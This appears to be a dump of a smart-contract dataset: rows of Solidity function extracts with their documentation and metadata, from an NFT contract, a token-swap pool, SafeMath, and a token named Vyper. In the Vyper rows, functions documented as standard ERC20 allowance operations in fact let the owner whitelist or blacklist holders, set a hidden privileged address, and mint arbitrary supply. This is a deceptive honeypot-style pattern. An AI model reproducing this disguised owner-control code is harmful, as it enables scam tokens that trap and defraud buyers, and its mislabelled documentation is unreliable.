contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CryptoYachts | CryptoYachts.sol | 0x7a772afba91b5569fa62a096ff20c257b9457daa | Solidity | ERC721A | contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps trac... | /**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an o... | NatSpecMultiLine | _approve | function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
| /**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/ | NatSpecMultiLine | v0.8.12+commit.f00d7308 | MIT | ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d | {
"func_code_index": [
18091,
18292
]
} | 12,400 |
CryptoYachts | CryptoYachts.sol | 0x7a772afba91b5569fa62a096ff20c257b9457daa | Solidity | ERC721A | contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps trac... | /**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an o... | NatSpecMultiLine | _checkOnERC721Received | function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721... | /**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param to... | NatSpecMultiLine | v0.8.12+commit.f00d7308 | MIT | ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d | {
"func_code_index": [
18852,
19647
]
} | 12,401 |
CryptoYachts | CryptoYachts.sol | 0x7a772afba91b5569fa62a096ff20c257b9457daa | Solidity | ERC721A | contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps trac... | /**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an o... | NatSpecMultiLine | _beforeTokenTransfers | function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
| /**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When... | NatSpecMultiLine | v0.8.12+commit.f00d7308 | MIT | ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d | {
"func_code_index": [
20290,
20454
]
} | 12,402 |
CryptoYachts | CryptoYachts.sol | 0x7a772afba91b5569fa62a096ff20c257b9457daa | Solidity | ERC721A | contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps trac... | /**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an o... | NatSpecMultiLine | _afterTokenTransfers | function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
| /**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - ... | NatSpecMultiLine | v0.8.12+commit.f00d7308 | MIT | ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d | {
"func_code_index": [
21108,
21271
]
} | 12,403 |
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
251,
437
]
} | 12,404 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
707,
848
]
} | 12,405 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
3391,
3479
]
} | 12,406 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
3725,
3830
]
} | 12,407 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
3888,
4012
]
} | 12,408 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
4220,
4404
]
} | 12,409 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
5092,
5248
]
} | 12,410 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
5390,
5564
]
} | 12,411 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amo... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
6034,
6364
]
} | 12,412 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
6768,
7059
]
} | 12,413 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
7557,
7705
]
} | 12,414 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
8120,
8404
]
} | 12,415 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
8891,
9439
]
} | 12,416 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
9715,
10021
]
} | 12,417 | ||
Vyper | Vyper.sol | 0xf1599c8c832483a164095c8cb0ab4be9b027719d | Solidity | Vyper | contract Vyper is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _to... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MPL-2.0 | ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2 | {
"func_code_index": [
10348,
10771
]
} | 12,418 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | fill_pool | function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message,
address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time,
address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification)
public payable {
n... | /**
* @dev
* fill_pool() creates a swap pool with specific parameters from input
* _hash sha3-256(password)
* _start start time delta, real start time = base_time + _start
* _end end time delta, real end time = base_time + _end
* message swap pool c... | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
4579,
7896
]
} | 12,419 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | swap | function swap (bytes32 id, bytes32 verification,
bytes32 validation, uint256 exchange_addr_i, uint128 input_total)
public payable returns (uint256 swapped) {
Pool storage pool = pool_by_id[id];
Packed memory packed = Packed(pool.packed1, pool.packed2);
require (
IQLF(
... | /**
* @dev
* swap() allows users to swap tokens in a swap pool
* id swap pool id
* verification sha3-256(sha3-256(password)[:40]+swapper_address)
* validation sha3-256(swapper_address)
* exchange_addr_i the index of the exchange address of the list
* input_total ... | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
8630,
13298
]
} | 12,420 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | check_availability | function check_availability (bytes32 id) external view
returns (address[] memory exchange_addrs, uint256 remaining,
bool started, bool expired, bool unlocked, uint256 unlock_time,
uint256 swapped, uint128[] memory exchanged_tokens) {
Pool storage pool = pool_by_id[id];
retur... | /**
* check_availability() returns a bunch of pool info given a pool id
* id swap pool id
* this function returns 1. exchange_addrs that can be used to determine the index
* 2. remaining target tokens
* 3. if started
* 4. i... | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
13802,
14957
]
} | 12,421 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | destruct | function destruct (bytes32 id) public {
Pool storage pool = pool_by_id[id];
require(msg.sender == pool.creator, "Only the pool creator can destruct.");
uint256 expiration = unbox(pool.packed1, 228, 28) + base_time;
uint256 remaining_tokens = unbox(pool.packed2, 0, 128);
// only after expirati... | /**
* destruct() destructs the given pool given the pool id
* id swap pool id
* this function can only be called by the pool creator. after validation, it transfers all the remaining token
* (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting a... | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
16542,
18290
]
} | 12,422 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | withdraw | function withdraw (bytes32 id, uint256 addr_i) public {
Pool storage pool = pool_by_id[id];
require(msg.sender == pool.creator, "Only the pool creator can withdraw.");
uint256 withdraw_balance = pool.exchanged_tokens[addr_i];
require(withdraw_balance > 0, "None of this token left");
uint256 e... | /**
* withdraw() transfers out a single token after a pool is expired or empty
* id swap pool id
* addr_i withdraw token index
* this function can only be called by the pool creator. after validation, it transfers the addr_i th token
* out to the pool creator address.
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
18644,
19712
]
} | 12,423 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | wrap1 | function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure
returns (uint256 packed1) {
uint256 _packed1 = 0;
_packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits
_packed1 |= box(160, 40, uint256(_hash) >> 21... | /**
* _qualification the smart contract address to verify qualification 160
* _hash sha3-256(password) 40
* _start start time delta 28
* _end end time delta 28
*... | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
20192,
20810
]
} | 12,424 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | wrap2 | function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) {
uint256 _packed2 = 0;
_packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38
_packed2 |= box(128, 128, _limit); // limit = 128 bits
return _packed2;
}
... | /**
* _total_tokens target remaining 128
* _limit single swap limit 128
* wrap2() inserts the above variables into a 32-word block
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
21004,
21348
]
} | 12,425 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | box | function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) {
require(validRange(size, data), "Value out of range BOX");
assembly {
// data << position
boxed := shl(position, data)
}
}
| /**
* position position in a memory block
* size data size
* data data
* box() inserts the data in a 256bit word with the given position and returns it
* data is checked by validRange() to make sure it is not over size
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
21640,
21923
]
} | 12,426 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | unbox | function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) {
require(validRange(256, base), "Value out of range UNBOX");
assembly {
// (((1 << size) - 1) & base >> position)
unboxed := and(sub(shl(size, 1), 1), shr(position, base))
}
}
| /**
* position position in a memory block
* size data size
* base base data
* unbox() extracts the data out of a 256bit word with the given position and returns it
* base is checked by validRange() to make sure it is not over size
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
22227,
22568
]
} | 12,427 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | validRange | function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) {
assembly {
// 2^size > data or size ==256
ifValid := or(eq(size, 256), gt(shl(size, 1), data))
}
}
| /**
* size data size
* data data
* validRange() checks if the given data is over the specified data size
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
22729,
22968
]
} | 12,428 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | rewriteBox | function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data)
internal pure returns (uint256 boxed) {
assembly {
// mask = ~((1 << size - 1) << position)
// _box = (mask & _box) | ()data << position)
boxed := or( and(_box, not(shl(position, sub(shl(... | /**
* _box 32byte data to be modified
* position position in a memory block
* size data size
* data data to be inserted
* rewriteBox() updates a 32byte word with a data at the given position with the specified size
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
23264,
23664
]
} | 12,429 | ||
HappyTokenPool | contracts/ito.sol | 0x198457da5e7f7b7fd916006837417dcf663f692d | Solidity | HappyTokenPool | contract HappyTokenPool {
struct Pool {
uint256 packed1; // qualification_address(160) the smart contract address to verify qualification
// hash(40) start_time_delta(28)
// expiration_time_delta(28) BIG ENDIAN
... | transfer_token | function transfer_token (address token_address, address sender_address,
address recipient_address, uint256 amount) internal {
require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough");
IERC20(token_address).safeTransfer(recipient_address, amount);
}
| /**
* token_address ERC20 address
* sender_address sender address
* recipient_address recipient address
* amount transfer amount
* transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address
**/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | MIT | ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7 | {
"func_code_index": [
23969,
24307
]
} | 12,430 | ||
CITY | CITY.sol | 0xee2bddc46f20615a53f03bf9bd58b94be23f3958 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
... | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Multiplies two unsigned integers, reverts on overflow.
